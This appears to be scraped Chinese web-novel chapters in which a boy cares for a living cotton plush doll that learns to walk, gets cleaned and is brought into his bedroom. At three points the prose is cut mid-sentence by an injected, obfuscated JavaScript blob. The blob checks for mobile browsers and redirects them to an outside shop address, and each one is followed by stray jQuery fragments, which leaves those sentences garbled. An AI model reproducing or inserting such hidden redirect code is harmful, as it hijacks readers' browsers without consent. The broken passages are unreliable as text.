“......你干脆直接让我滚呗,小舅舅。”商言算是明白了,他想陪他小舅舅,但他小舅舅嫌弃他,合着他就是个小丑。 “咚!” 一声闷响在两人的头顶炸开,商言明显被吓了一大跳,猛地抬起头看着天花板:“什么动静?!” “没什么,你听错了。”商澈反应极快,声音放得平稳,“这房子那么老了,有些动静也不稀奇。” 商言狐疑了一下:“真的?” “嗯。”商澈回答的不疑有他。 “你撒谎。”商言竖起一根手指贴近自己的鼻梁,“你这种睡又睡不着,睡着了又睡不好的人,怎么可能忍受得了时不时的噪音污染。” 商言笃定道:“你有事瞒我!” “咕噜咕噜咕噜.......” 这次的声音更清晰了,像是一个圆形的,有一定重量的东西,从地板上滚过发出的动静。 “......”商澈真不知道一个小棉花怎么会搞出那么大的动静。 商言摊开手掌,一副‘被我猜中了吧’的表情,故意问:“小舅舅你有听到什么奇怪的动静吗?” “......”反正都被听到了,商澈深吸一口气,缓缓道:“其实我昨天...捡到了一只猫...” “什么?!我要看!”商言说着就要往楼上冲,一副不看到小猫就誓不罢休的架势。 商澈的心随着他的动作重重一跳,不敢想商言要是看到一个会动的棉花娃娃,那场面会有多精彩。 “坐下,”商澈的声音不自觉地提高,语气带上了一丝严厉,他一把拉住商言的手臂,“看什么看,猫太小了,也没打过针,还凶得很,小心它挠人。” “哎呀,我就看看,不靠近它不就行了。” “不行,你猫毛过敏,凑什么热闹。” “啊啊啊啊啊~”商言意思着哀嚎了几声,然后拍了拍屁股打算走人,“行吧,那我走了。” 正想着找什么借口的商澈忽然一愣,这小子今天那么好说话? 商言:“你这是什么眼神,你看我很像傻子吗?”明显就是有秘密不想让别人知道。 “你不是最不喜欢这种毛茸茸的东西吗?”他拍了拍商澈的肩膀,颇有种苦口婆心的意味:“就算你说把小舅妈藏楼上了,都比说捡到小猫有可信度。” 商言无视掉商澈沉下来的脸色,洋洋得意道:“怎么样,我这样是不是挺像个哥哥的?叫声哥哥听听。” “.....滚吧。” 8. 正义之棉 棉花娃娃“嘎吱、嘎吱”地折腾了半天,终于自食其力地翻了个身,手脚摊开,整个棉呈“大”字形摊开,趴在柔软的毛毯上,它用脑袋蹭了蹭之后转向一侧,眼睛眨巴着,和“摔倒”的水晶球来了个亲密对视。 别看棉呀,棉现在也无能为力......等棉学会走路了,棉一定会让人来救你的! 棉花娃娃给自己鼓了鼓劲儿,它扬起脑袋,两只小手撑在毛毯上,依旧撅起屁股,一边笨拙地后撤,一边努力支起腿,腰板挺得直直地,“嘿咻”一下站起了身。 {(/`O 0 O′ )}:棉的天,棉已经熟练掌握如何站起来了吗?! 就是这个身体动起来好好像.....有一点点慢? 是慢吗?棉又觉得好像不完全是。 它也说不上来是什么,只知道自己每动一下,身体都要微妙地顿一下,并伴随一声“嘎吱”响,但和棉之前那种软绵绵的、使不上力气的感觉完全不同,棉能感觉到自己身体里似乎有什么东西在支撑着自己。 这个新发现让棉花娃娃瞬间斗志昂扬,它试探地、直挺挺地伸出一条腿,小心翼翼地挪动了一小步。 很好,棉,你可以的! 作为一个优秀的棉,它是不会在同一个地方摔倒两次的。 棉花娃娃全神贯注地调动着自己落后的那条腿,依旧直愣愣地抬起来,向前迈去,身体因为用力而不受控地微微侧倾,它甚至紧张地眯上了眼睛。 等待了几秒后,预想的倒地并没有发生,它依旧稳稳地站着,双腿没有软绵绵的,也没有摇晃、颤抖,平稳的不可思议。 棉花娃娃不敢置信地缓缓睁开了一只眼睛。 (?_<> 虽然只是一段短得不能再短的距离,但对它的整个棉生来说,这可是巨大的一步! 它一定能学会走路的,到时候人一定会对它刮目相看。 棉花娃娃就这样直愣愣地、略显僵硬地进行着“走路练习”,它在储物间里漫无目的地缓慢移动,只是渐渐的,它脸上的兴奋消退了下去,反而有些不堪其扰。 嘎吱...嘎吱... 棉一直在响,棉觉得有点儿吵。 . 20厘米的棉花娃娃海拔低,行动缓慢,却可以看到角落里被遗忘很久的东西。 就像现在,棉花娃娃在人一开始堆放它的地方发现了一个巨大的纸箱,但如果不是站在它这个“高度”,很难看出纸箱下面还压着什么东西。 棉很好奇,棉要去看看。 它一点一点挪过去,两只手摸到了纸箱的边缘,棉花娃娃努力俯下身,企图看看这个被压住的东西究竟是什么。 ...黑乎乎的...看不清..但好像又什么东西发着微弱的光.. 棉花娃娃干脆利索地趴了下来,尝试把脑袋伸进地板与纸箱的缝隙里,发现能通过后,它手脚并用,慢吞吞地朝着那闪着微弱光芒的地方爬过去。 闪着绿光的东西就在眼前,棉花娃娃不知道这是什么,只知道有个凸起的、圆圆的按键,它伸出小手,尝试按了一下,然后期待地眨了眨眼。 (* o . o *)?:为什么没有反应?难道是棉的力气不够大吗? 有了! 棉花娃娃保持着手脚不动,身躯努力向后缩了缩,然后铆足了劲儿,用力将脑袋撞了过去。 “叮~” 一声轻响后,一道更清晰的绿光亮起,照亮这片沉寂已久的角落,细弱的机械嗡鸣声也随之响起。 棉,简直就是天才! 它正打算爬出去好看看这究竟是什么东西,突然发现了一丝不对劲。 为什么...这个角落越来越亮了? 棉花娃娃缓缓抬起头,发现就连头顶的阻碍都没有了,它侧过脑袋,一个圆圆扁扁的白色机器正拖着纸箱“不堪重负”地移动。 好神奇! 棉花娃娃有些痴迷地看着这个移动速度比它快上不少的东西,眼神里带着明显的羡慕。 结果那个圆圆扁扁的机器没动几下,就“哐”一声“原地罢工”了,看似沉重的纸箱却因为突然的移动和静止而摇晃,棉花娃娃甚至听到了里面有什么东西碰撞的声音,紧接着整个纸箱失去了平衡,朝着它所在的方向砸了下来—— 等等棉,棉还没有出来呢—— . 好不容易把自己被压住的一小截腿从纸箱下“拔”出来的棉花娃娃表情十分难看,甚至带有一丝丝...阴郁... ?????:这个人类的家里,难道就没有一个“好东西”么.... 它带着一点儿小脾气,毫无杀伤力地、报复似地踢了纸箱几下,然后顺着那个敞开的地方爬了进去。 不一会儿,一个个看起来像人类拳头那么大的玻璃球从纸箱里滚了出来,最后是一个带着锁的圆形铁盒,被棉花娃娃用脑袋一下一下拱了出来。 圆球球、圆扁扁...... 这个人,为什么那么喜欢圆滚滚的东西? ...... 门一关上,商澈即刻转身,三步并作两步冲上楼,直奔储物间,压下把手的瞬间,他已经做好了面对各种场景的准备了。 显然,他的准备还是不够充足。 透过门推开的缝隙,他就知道,这团不安分的棉花显然没有把和他的约定当回事。 铺得整齐平坦的毛毯变得皱皱巴巴,似乎被拖拽过,紧接着,商澈瞳孔微缩,他推开门快步向前,紧张地拿起倒在毛毯上的水晶球仔细看了看,确认没有损坏后,才松了一口气。 将水晶球放回展示架上后,商澈才感受到有什么东西缓缓滚到了脚边,他垂下眸。 是一颗星空玻璃球。 商澈弯腰捡起来,可想而知,刚才听到“咕噜咕噜...”的滚动声就是这个东西发出来的,再往旁边一看,是一个本该待在毛毯上,现在却“侧卧”在地板上的40厘米棉花娃娃。 “......”他忍不住揉了揉眉心,扫视了一眼,三个棉花娃娃,少了一个20厘米的。 这一片都没有,商澈顺着玻璃球滚来的方向看过去。 角落里,那个被他用来存放一些旧物的纸箱倾倒在地,大咧咧地敞开着,里面的玻璃球散落在房间的各个角落,而造成这一切的“罪魁祸首”...... 商澈的视线缓缓凝固。 那个20厘米的棉花娃娃,正撅着屁股,整个棉几乎是贴着圆形铁盒和地板之间的缝隙,圆滚滚的脑袋抬也不抬,手脚并用,一个劲儿地拱着铁盒往前走。 它似乎完全沉浸在自己的世界里了,都没发现它期待已久的人已经出现在面前了。 “你....” 商澈听到自己干涩的声音响起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17033534|194594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,带着难以置信的沙哑,“...在干什么?” 棉花娃娃耸.动的身体猛地停下。 一阵令人牙酸的“嘎吱”声响起,棉花娃娃一卡一卡地扬起脑袋,眼睛亮晶晶的:“人,你来啦!” “现在是明天了吗?” 棉花娃娃看到了他,连铁盒都不要了,“嘎吱、嘎吱”地想要蹭过去。 商澈却忽然后退一步,转过了身。 棉花娃娃看着他的动作不明所以,有些焦急地喊他:“人......” . 没过几秒,商澈勾着40厘米棉花娃娃的衣领将它拎了过来,看着那双暗淡无神的眼睛,商澈将目光垂下,对着地上那个脏兮兮的棉花娃娃说:“换过来。” 棉花娃娃看看了自己手,白白的面皮变得灰扑扑的,身上的浅蓝色背带裤也不知道怎么弄脏了一块,一点儿都不干净可爱了,它艰难地把自己原地转了个身,面朝地倒下。 然后商澈拎起手里的棉花娃娃,盯着那双金灿灿的眼睛,声音压得很低,“这就是你说的,会乖乖听话?” 商澈的目光扫过遍地狼藉,四处散落的玻璃珠,明显被探索过的纸箱,杂乱的毛毯,最后落回到这个看起来无比“乖巧无辜”的棉花娃娃身上。 他闭了闭眼,深吸一口气,试图平复汹涌的情绪:“我有没有说过,不许乱动?” 棉花娃娃下意识地往搓了搓小圆手,身体一摇一晃的,据理力争:“棉...棉没有乱动...” “那这些玻璃球,” 商澈托住它的屁股,让棉花娃娃和自己一起往地上看,脚尖轻轻碰了碰停在纸箱前的一颗红色玻璃球,又碰了碰那个铁盒,“还有这个铁盒,都是它们自己长腿从纸箱里跑出来的?” “它们也和你一样活过来了?” 棉花娃娃眨巴着眼睛,似乎在快速理解商澈的话。 几秒后,它扬起脑袋,表情带着几分骄傲:“没有,只有棉是活的。” “棉,最厉害!” 厉害? 商澈简直要被气笑了。 “棉有好好..帮你保护..水晶球哦~”棉花娃娃依旧说几个字就要停顿一下,它语气里似乎有些失落,“但水晶球..摔倒了..棉扶不动..” 它用软绵绵的手指向地上那个机器,继续道:“它被纸箱..压住了,棉只是想..救它出来。” “而且,棉学会走路了!” 然后它扬起脸蛋,期待地看向商澈,一副等待夸奖的模样。 一瞬间,商澈所有责备的话,突然就堵在了喉咙里。 这个棉花娃娃竟然觉得自己用来“哄”它的水晶球是让它保护的,换了个小身体浑身弄得脏兮兮的,也是为了那个早就被他遗忘在角落里的机器人。 ....真是不知道该说什么好,天大的火气也发不出来了。 商澈单膝蹲下,抬手将那个面朝地的20厘米棉花娃娃翻过来、放到铁盒上,看着它身上蹭到的灰尘,又侧过脸对上那双纯粹到没有丝毫愧疚、只有完成“壮举”后的小小得意的金色眼睛。 ......算了,和一个棉花娃娃有什么好计较的。 棉花娃娃没有得到他的回答还在喋喋不休地询问: “人,你还没说棉厉不厉害呢。” “人,棉到底厉不厉害?” “人——” 9. 愚蠢的事 “人,你为什么..不说话?”棉花娃娃自顾自地嘀咕了半天,也没有听见人说出一句话,它忽然想起那个“摔倒”的水晶球和“罢工”的白色机器,担忧地凑近:“人,你是..坏掉了吗?” “......又在说些什么胡话。”商澈勾着棉花娃娃的衣领将它放在了储物间的岛台上,然后肩膀放松,双手撑在岛台边缘,身体微微前倾。 黑曜石般的眼睛与那双纯粹的金色眸子沉默对视。 商澈仔仔细细地近距离审视着,除了能说会动外,眼前这个棉花娃娃实在看不出有什么特别的——和其他棉花娃娃如出一辙,圆滚滚的脑袋,胖乎乎的身体,以及短小的四肢。 顶多就是配色和表情不一样。 他还记得之前自己捡起林芷拍摄的娃片时扫视到的一眼,照片上的棉花娃娃一头栗色毛发、绿色眼睛,嘴巴是个小小的o,穿得像个画家一样。 嗯,那就还要加一个穿着不一样的区别。 所以,为什么他面前的这个棉花娃娃..会是活的? 陷入思考中的商澈不自觉地垂下头,眉头微蹙,带着不解与疑惑。 直到——额头上传来柔软的触感。 商澈怔了一下,猛地掀起眼帘。 . 棉花娃娃不知道为什么人类盯着它看了一会儿,又忽然对着空气发呆。 它小心翼翼地往前挪了挪,趁着商澈垂眸沉思的间隙,扶着他结实的小臂、缓缓站了起来,然后拼尽全力踮起自己并不存在的脚尖,将自己软绵绵的脑袋轻轻抵上了他的额头,小幅度地左右摆动,轻轻地蹭了蹭。 像在笨拙的,想替人揉开这紧皱的眉间一般。 “!!!” 棉花娃娃近在咫尺的距离下,先映入商澈眼帘的,是一片模糊的粉,不止额头、眉间,连鼻尖都感受到了那份柔软的触感。 他像是被吓到般急忙抬起头,呼吸都在一瞬间屏住,有些无措又惊讶地看着这个不知何时靠近过来的棉花娃娃。 看到人类紧皱的眉毛舒展开,连眼睛都睁大了不少,棉花娃娃十分高兴:“人,你好啦!” “棉以为..你坏掉了..”它还扶着商澈的手臂,语气里带着点儿求表扬的小得意:“棉把你修好啦,棉是不是很厉害~” “人,你说话呀...” 视线微微下垂一点,就可以看见棉花娃娃那双璀璨夺目的眼睛,商澈顿了一下,用一副随意的口吻反问:“说什么?” “说棉厉害呀!”棉花娃娃仰着大脑袋,还执着于没有得到人的夸奖中。 闻言,商澈的唇角扬起一股似笑非笑的弧度,眉头轻挑,一字一句道:“你、一、点、都、不、厉、害。” 这个坏人类,就会惹棉生气! (“▽皿▽):“棉怎么可能..不厉害!” 商澈耸了下肩,忽然转过身弯下腰,棉花娃娃顿时慌张道:“人,你去哪?” 商澈捡起地上的玻璃球,头也不抬,脚步声夹杂着他轻轻的回应声飘了过来。 “给某个...勉强厉害的棉花娃娃收拾残局。” !!! 得到了“变相”夸奖的棉花娃娃心满意足地乖乖坐在岛台上,明明讨要夸奖的人是它,现在捂住脸,害羞得低下脑袋的人,也是它。 (??????):人夸棉了!人夸棉了!人夸棉了! 它放下遮住自己眼睛的圆手,这才发现自己的屁股底下的东西不一般。 棉花娃娃一头撞了上去,脸蛋紧紧贴着玻璃,一双星星眼闪闪发光,语气激动:“哇~这里有好多..亮晶晶!” 岛台表面是整片通透的玻璃,黑丝绒内饰衬得里面收藏的一颗颗宝石更加闪耀夺目。 商澈正捏着这个脏兮兮的20厘米棉花娃娃,叹着气打开手机,搜索「20厘米的棉花娃娃可以清洗吗?」,闻言随口道:“你喜欢?” “棉喜欢!棉想要!”棉花娃娃充满期待地看向他。 紧接着,一句冷酷无情的话响彻在储物间内:“嗯,喜欢就多看两眼。” 棉花娃娃:“坏人类!” 简单浏览了搜索结果后,商澈把岛台上的棉花娃娃拎起来,转身离开储物间,语气堪称平淡:“让你看看坏人类怎么‘惩罚’闯祸了的棉花娃娃。” . 棉花娃娃被放在洗手台上,看商澈将袖口挽起,露出青涩却紧实流畅的小臂。 关掉水龙头后,他往水池中倒入了一点其他液体,修长的手指在水中搅动出细微的泡沫,然后看了一眼旁边脏兮兮的20厘米棉花娃娃后,转身出去找什么东西了。 “!!!”棉花娃娃一脸惊恐地看向他离开的背影,想也不想就换进了20厘米的身体里,都顾不得“嘎吱”的作响声,它疯狂往洗手台边缘挪动,一个劲地想要逃跑。 这个惩罚太可怕了!救命啊!有人要害棉! 拿了条干净的新毛巾回来的商澈就听到一阵奇怪的声音。 他走近一看,那个本该安安静静、毫无生气的20厘米棉花娃娃此刻正在“嘎吱、嘎吱”地缓慢移动。 “这就是你说的会走路了?”商澈调侃的声音响起。 棉花娃娃僵硬地扭过头,坏人类正抱着手臂,饶有兴致地看着它“逃跑”,顺带不慌不忙地补刀:“以你这个速度,给你一天都走不出这个房间。” “坏人类!” 商澈无视它的指控,径直走上前,捏了捏棉花娃娃指着他的手,了然道:“原来是有骨头的棉花娃娃。” 他上手轻轻掰了两下手臂的关节,点评道:“还挺灵活。” 棉花娃娃被他拎到半空中,还在一个劲地反抗,它大声控诉:“你要害棉!” “你要把棉..淹死!” 商澈简直要被它这荒唐的想象力气笑了。 他刚想“恐吓”一下,却敏锐地感觉到指腹下,那具小小的身体正在小幅度地颤抖着。 ..这是在...害怕? 商澈的动作怔住,他顿了一下,语气放缓些:“没有要害你,你自己弄脏了,我只是帮你洗干净。” “惩罚是吓你的。” 棉花娃娃知道自己现在很脏,但它还是抗拒地缩了缩:“棉花..不能沾水。” ...出场设置还自带怕水的吗? 商澈耐着性子解释:“这个小的可以,只是用湿毛巾擦一擦,没关系的。” “真的吗?”棉花娃娃小心翼翼地问。 商澈扯了下嘴角,语气里带着棉花娃娃熟悉的、嫌弃似的无奈:“你以为我很想帮你洗么。” 都不知道是在惩罚谁。 . 棉花娃娃还是无法彻底放心,它坚持要待在20厘米的身体里,直到商澈把它洗干净,确认不会要害它。 商澈懒得再争辩:“随便你。” 他将新毛巾放进水池里沾湿,挤到半干后,一手问问托住脏兮兮的棉花娃娃,从它圆滚滚的脑袋开始,用毛巾轻柔地擦拭着。 白净的面皮沾上了一层浮灰,尤其是下巴周围到嘴巴,像是偷吃什么东西留下的痕迹一般,后脑勺还算干净,商澈仔细地清理着,连发片上的呆毛都用毛巾轻轻捋了捋。 棉花娃娃似乎察觉到商澈确实没有要害它的想法,慢慢放松下来,甚至无意识地用毛茸茸的脑袋在他手心蹭了蹭,像只被顺毛的、享受的小动物。 商澈的动作几不可察地顿了一下:“......” 小衣服都脏得不成样子,商澈手指灵活地快速解开衣扣。 棉花娃娃“嘎着、嘎着”地握住他的一根手指,疑惑道:“人,你为什么...又脱棉的..衣服..” 商澈抽出自己的手指,轻“咳”了一下:“你要想穿着脏衣服的话,我也没意见。” 棉花娃娃思索了片刻:“棉不想。” 然后便乖乖松了手,任由商澈将它的衣服丢进水池里浸泡。 手脚才是最难处理的地方,需要用点力才能擦干净,商澈毫不怀疑这个小东西在地上爬行了一段时间,毛巾都换地方擦了三四遍,才总算清理干净了。 擦拭完毕,棉花娃娃身上的灰尘基本去除了,恢复了原本的洁白柔软,只是有的面皮因为沾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17033535|194594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过水,颜色看上去一块深一块浅,摸上去还有些微潮。 商澈把它放到一旁,搓了几下浸泡许久的几件小衣服,用力拧干,然后取下一旁的吹风机,调整一下温度,对着棉花娃娃说:“吹干就结束了。” 棉花娃娃安静地坐着,头顶的呆毛在暖风中轻轻飘动,擦过商澈的手指。 整个过程中,棉花娃娃都非常安静、配合,只有商澈浅浅的呼吸声、毛巾擦拭时产生的细微摩擦声,以及吹风机持续低鸣的声响,却有种说不清的温馨。 确认棉花娃娃的身上已经完全吹干,甚至散发着清香后,商澈又沉默地吹着它那几件半干不干的小衣服,仔细地摸索着每一个可能漏掉的角落。 棉花娃娃回到了40厘米的身体,似乎这样才能更好地看清楚。 这个说要“惩罚”它的人类,没有打它、骂它,只是耐心地把它清理干净,连衣服都帮它洗了。 虽然这个人类有时候说话很不好听、也抗拒它的靠近和接触,却还是让它留了下来。 尽管不知道需要多久这个人类才会真正接受它,但作为一个棉,它已经认定了这一个饲主。 如果,这个饲主能对它再好一些,就更好了。 ...... 被打理干净的棉花娃娃又被送回了储物间,依旧被商澈整整齐齐放在毛毯上,他单膝压在毛毯上,倾下身,看着那双眼睛,叮嘱道:“以后你就待在储物间,要安静。” “......我有时间会来看你的。” “嗯!”棉花娃娃认真应下。 商澈准备离开,走到门口,又回头看了一眼。 毛毯上,那个棉花娃娃依旧乖巧安静的坐着,却带着明显的失落与委屈,那簇呆毛似乎都耷拉下来了。 商澈忽然开口,语气有些不自然:“...你自己在这里,会害怕吗?” 话音刚落商澈自己就后悔了,他阖眼叹了下气。 自己究竟在说什么。 问一团棉花害不害怕。 棉花娃娃却似乎很认真地想了想,缓缓回答道: “不是黑乎乎...棉不怕。”因为人有给它开灯。 “安静...习惯了。”因为在听到人的声音前,棉的世界一直是安静的。 “水以前怕..现在也不怕...”因为人帮它清理干净的时候很有耐心。 它顿了顿,补充了一句,声音小小的:“棉自己可以的。” 棉花娃娃的表达简单直白,但商澈却听懂了每一句话背后的缘由,他喉咙忽然有些干涩,低低地应了一句:“好。” 就在商澈按下把手的瞬间,棉花娃娃脱口而出的最后一句话,毫无预兆地撞上了他的心口。 商澈沉默了几秒,最终什么也没说,只是轻轻带上了储物间的门。 . “咔哒。” 门锁落下,仿佛两个世界再次被隔开。 但这一次,商澈却站在门外,没有立刻离开。 他后脑触碰到坚硬冰冷的墙壁,听着里面再无任何声响传出,脑海里却反复回响着棉花娃娃最后那句话,一字一句无比清晰。 “棉想和人待在一起,棉不想只有自己。” 他抬起手,揉了揉又开始隐隐作痛的太阳穴。 果然,留下这个棉花娃娃就是个天大的麻烦,如果当时狠心一点,直接丢出去就好了。 他看了一眼紧闭的门板,心里那点因为麻烦而产生的烦躁底下,似乎又有什么别的东西,在悄悄滋生,极其微妙的、像蚂蚁啃食般小小地蛰了一下。 “抱歉啊阿澈,花园里的路灯坏了,过几天爸爸就找人来修。” “爸爸忙,阿澈,你自己可以的对不对。” “阿澈,你会理解爸爸的对吗?” “阿澈......” ——这种蠢事,他就做一次。 下一秒,储物间的门被猛地打开,去而复返的人类又来到了棉花娃娃面前,看着那双瞬间亮起的金色眼睛,语气干脆,带着不容置喙地急促: “给你一秒钟时间考虑,要不要跟我回房间。” 10. 嘴角弧度 棉花娃娃几乎是立刻就给出了回应,软糯的声音微微拔高,带着一种生怕商澈反悔的雀跃与急切。 那簇“萎靡不振”的呆毛,也仿佛被瞬间注入了活力,“神采飞扬”地翘了起来,金色的眼睛闪着光般、眨都不敢眨。 棉花娃娃如此不加掩饰的直白,反而让刚刚冲动之下做出决定的商澈,心里那点儿复杂的情绪搅动得更厉害了,进而变得手足无措起来。 “......那就跟上。” 他移开视线,故作平淡地扔下这句话,转身就往外走,步伐迅速又紊乱。 逃离般慌不择路的商澈全然忘记他是对着“谁”说的这句话。 棉花娃娃看着无情离开的人类满是不解。 虽然人答应让棉和他一起回房间,棉很开心,但人头也不回的离开,难道它要自己爬过去吗? 看得出来,人的房间真的很难进了,棉还是要自食其力。 比起储物间,卧室里的阳光更加明媚,商澈脚步急促,一不小心踢到了墙角,才意识到自己刚才做了什么蠢事,又懊恼般的折返回去。 棉花娃娃正以一种近乎“匍匐前进”的姿势,在毛毯上扑腾着,身后拖出一条浅浅的褶皱痕迹。 还是和之前一样,如出一辙的移动方式。 看到情景的商澈嘴角微抽。 人的脚又出现在眼前,棉花娃娃停下动作,仰起脑袋,金色大眼睛望向他,似是在确认他没有改变主意,又像是在抱怨指控他的“不作为”。 商澈逃避似地移开视线,弯下腰、伸出手——这次不是拎着棉花娃娃的衣领了,而是掌心抚在棉花娃娃的背上,用拇指和中指卡在两条软绵绵的手臂下方,轻松地将它提了起来。 他咳了一声:“....你太慢了。” 棉花娃娃也不服输,幽怨地看着他:???。 商澈知道这次确实是自己的问题,他状似随意道:“不是学会走路了吗?怎么还用爬的。” 棉花娃娃动了动手臂,蹭着他的指背:“人刚处理干净...棉..不想弄脏。” 很好,他说不过这个棉花娃娃。 商澈没再多和它废话,提着它转身进了卧室。 卧室比储物间更加私密,空气里弥漫着商澈常用的、清新的柑橘香。 他走到床边,犹豫了一下,没有把它直接放在床上——那感觉太奇怪了。 环顾四周后,商澈将棉花娃娃放在了靠窗的、偶尔用来发呆晒太阳的摇摇椅上。 这里算是整个房间最僻静的角落,距离他的床和书桌呈三角结构,不近不远,视野开阔。 “你就待在这里。”商澈指了指棉花娃娃屁股底下的摇摇椅,语气恢复了惯常的、带着距离感的平淡,“不准乱动,不要发出奇怪的动静、说奇怪的话。” 看到棉花娃娃的视线后,他补充道:“也不准爬到床上去。” 棉花娃娃被他稳妥放好,身体陷进柔软的包裹中,听到商澈的话也认真地点了点圆圆的脑袋:“棉知道。棉会乖。” 它答应得一如既往的爽快,但商澈对此持保留态度。 ...... 午后的阳光穿过半遮光的窗帘,卧室里很安静,只有商澈浅浅的呼吸声,以及笔尖划过纸张的沙沙声。 商澈坐在书桌前,面前摊开一本习题册,手指间夹着的黑色中性笔,时不时转动一下,再在纸上落下几笔。 阳光恰好落在他侧脸和握着笔的手上,勾勒出清晰利落的轮廓,连手背上微微凸起的青筋都清晰可见。 他此刻的神情格外专注,眉头偶尔会皱起一下,很快又松开、扬起。 棉花娃娃还是第一次有这样安安静静和商澈待在一起的机会。 它很喜欢商澈给它安排的这个位置,可以看到人的一举一动,哪怕商澈不坐在那个书桌前,也能清楚的看见他从门口离开,又回来。 棉花娃娃这次非常遵守约定,几乎没有发出任何声音,也没有乱动,只是偶尔会极其缓慢地、悄悄地调整下自己的“坐”姿,让透过来的光能更均匀地晒到它软绵绵的身体上。 写完最后一道题商澈长长地舒了一口气,他揉了揉有些发酸的后颈,身体向后靠进椅背,显得有些懒散,目光无意识地扫过房间,最后落在了那把摇摇椅上。 棉花娃娃依旧在那里,乖乖的、安静的,在阳光下显得格外柔软,金色的眼睛往向他这边,不知道是在看他还是在发呆。 这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17033536|194594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 次怎么那么听话。 商澈忽然有点想笑,疲惫感似乎也消散了一点儿。 “无聊吗?”他语气随意,像是随口一问。 棉花娃娃愣了一下,意识到人是真的和它说话了,才轻微晃了晃脑袋:“有人在...不无聊..可以看人。” 这话真的很难接,商澈反问它:“人有什么好看的?” “人,好看。”棉花娃娃回答得理所当然,甚至还试图描述,“人的手很灵活....眼睛会发光...腿很长..走路快...” 都是些最表面、最简单的形容,却莫名让商澈感到一丝.....被认真注视着的怪异感。 不是审视,不是评判,是纯粹的、孩童般的“看”。 “....你倒是会观察。”商澈扯了扯嘴角,重新坐直身体,伸手去拿桌角的水杯。 他起身,准备去客厅倒水,走到门口,脚步却忽然顿了一下,回头看向棉花娃娃:“你......真的什么都不用吃?” 棉花娃娃这次的回答显得略微迟疑了些:“...不用。” “哦。”商澈应了一声,不再多说,转身出去了。 等他端着水杯回来,却发现坐在摇摇椅上的棉花娃娃似乎挪动了一点位置,原本陷在中间位置的它,此刻更贴近一边的扶手。 软绵绵的手臂正小心翼翼地、极其缓慢地抬起来,伸向从窗外落到扶手上的、那一片阳光。 商澈看着这一幕,没有出声打扰。 他忽然想知道,这个神奇的棉花娃娃对光线、温度、触感这些最基本的东西,究竟有没有感觉...... 事实证明,商澈或许还是高看它了。 棉花娃娃发现,自己抬起手臂,落到扶手上的阳光就会消失不见,如果它移开手臂,这片阳光就会重新出现。 ??????????:好神奇!棉好厉害! 它玩得很专注,自得其乐,甚至没有注意到商澈已经回来了,正默默地看着它。 商澈看着它那笨拙又认真的小动作,心里因为留下它而产生的纠结,似乎在不知不觉间有松动的迹象。 他甚至没有意识到,自己的嘴角微微向上弯起了一个极浅的弧度。 11. 迫不及待 “嗡——嗡——” 人类已经在门口消失好一会儿了,棉花娃娃的眼睛一眨一眨,好奇地盯着那个在桌面上发出声响还微微抖动着的长方形盒子。 没过多久,一阵略显急促的脚步声由远及近赶来,商澈快速赶在电话挂断的前一秒点下接通。 “人......” 棉花娃娃刚软糯糯地叫了他一声,商澈就立刻竖起一根手指抵在唇前,眼神里似乎都带着一丝警示,提醒它保持安静。 “怎么那么久才接电话?”陆泽铭一贯冷淡的声线通过听筒传来。 “手机没带在身上。”商澈简单解释了一下,直接切入正题,问他:“什么事?” 陆泽铭语气平稳到没有一丝起伏:“我吃饭没带钱,你来付账。” “......” 从这完全不符合陆泽铭的行为中,商澈几乎立刻就意识到对方在玩大冒险,秉承着不能让好友输的原则,他无奈道:“要多少,我转你。” 陆泽铭:“要你。” “......你有毛病吧。”商澈忍不住低声骂道。 似乎意识到自己说的话存在歧义,陆泽铭解释了一下:“距离意义上的。” 下一秒,他又补充道:“......好像还是不对劲。” 商澈听得额角直跳,他深吸一口气:“到底要干嘛,你直说。” 陆泽铭终于放弃了挣扎,言简意赅道:“哦,就是需要你本人过来一下。” “不去。”商澈拒绝得同样干脆。 “我们的情谊,难道不值得你为我花费一些宝贵的时间么。”陆泽铭打着感情牌,语气依旧冷静得像在汇报,“是谁和你一起跳伞、蹦极、攀岩,是谁......” “打住。”商澈截断了他的话,“这些明明都是你想做的事,是我陪着你。” “哦,”陆泽铭终于放弃了迂回,坦白道:“我不想输。” 就知道是这样,商澈捏了捏眉心,语气里满是无奈,却还是应了下来:“......地址发我。” 他放下手机,叹了口气,抬眼就对上了棉花娃娃那张满是好奇的笑脸。 “......干嘛这样看着我。” “人,在说话。”棉花娃娃抬起一只软绵绵的手臂,指向商澈刚刚放下的手机:“盒子...会响...也会说话。” “这是手机。”商澈没好气地纠正它,感觉自己像幼儿园老师一样。 棉花娃娃认真地重复道:“手、机,人,说话。” 